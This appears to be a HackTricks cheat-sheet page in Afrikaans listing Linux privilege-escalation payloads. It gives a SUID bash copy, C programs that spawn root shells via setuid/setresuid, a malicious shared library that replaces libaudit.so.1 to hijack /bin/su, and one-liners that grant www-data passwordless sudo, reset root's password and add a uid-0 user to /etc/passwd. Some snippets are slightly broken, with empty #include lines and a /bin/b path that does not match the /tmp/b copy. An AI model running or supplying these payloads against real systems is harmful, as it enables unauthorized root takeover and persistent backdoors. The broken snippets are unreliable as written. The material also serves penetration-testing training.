# Payloads om uit te voer {{#include ../../banners/hacktricks-training.md}} ## Bash ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` ## C ```c //gcc payload.c -o payload int main(void){ setresuid(0, 0, 0); //Set as user suid user system("/bin/sh"); return 0; } ``` ```c //gcc payload.c -o payload #include #include #include int main(){ setuid(getuid()); system("/bin/bash"); return 0; } ``` ```c // Privesc to user id: 1000 #define _GNU_SOURCE #include #include int main(void) { char *const paramList[10] = {"/bin/bash", "-p", NULL}; const int id = 1000; setresuid(id, id, id); execve(paramList[0], paramList, NULL); return 0; } ``` ## Oorskrywing van 'n lêer om voorregte te verhoog ### Algemene lêers - Voeg gebruiker met wagwoord by _/etc/passwd_ - Verander wagwoord binne _/etc/shadow_ - Voeg gebruiker by sudoers in _/etc/sudoers_ - Misbruik docker deur die docker socket, gewoonlik in _/run/docker.sock_ of _/var/run/docker.sock_ ### Oorskrywing van 'n biblioteek Kontroleer 'n biblioteek wat deur 'n sekere binêre gebruik word, in hierdie geval `/bin/su`: ```bash ldd /bin/su linux-vdso.so.1 (0x00007ffef06e9000) libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` In hierdie geval laat ons probeer om `/lib/x86_64-linux-gnu/libaudit.so.1` na te boots.\ So, kyk vir funksies van hierdie biblioteek wat deur die **`su`** binêre gebruik word: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open 0000000000000000 DF *UND* 0000000000000000 audit_log_user_message 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` Die simbole `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` en `audit_fd` is waarskynlik van die libaudit.so.1 biblioteek. Aangesien die libaudit.so.1 deur die kwaadwillige gedeelde biblioteek oorgeskryf sal word, moet hierdie simbole in die nuwe gedeelde biblioteek teenwoordig wees, anders sal die program nie die simbool kan vind nie en sal dit afsluit. ```c #include #include #include //gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c int audit_open; int audit_log_acct_message; int audit_log_user_message; int audit_fd; void inject()__attribute__((constructor)); void inject() { setuid(0); setgid(0); system("/bin/bash"); } ``` Nou, net deur **`/bin/su`** aan te roep, sal jy 'n shell as root verkry. ## Skripte Kan jy maak dat root iets uitvoer? ### **www-data na sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` ### **Verander wagwoord van die root** ```bash echo "root:hacked" | chpasswd ``` ### Voeg nuwe root gebruiker by /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` {{#include ../../banners/hacktricks-training.md}}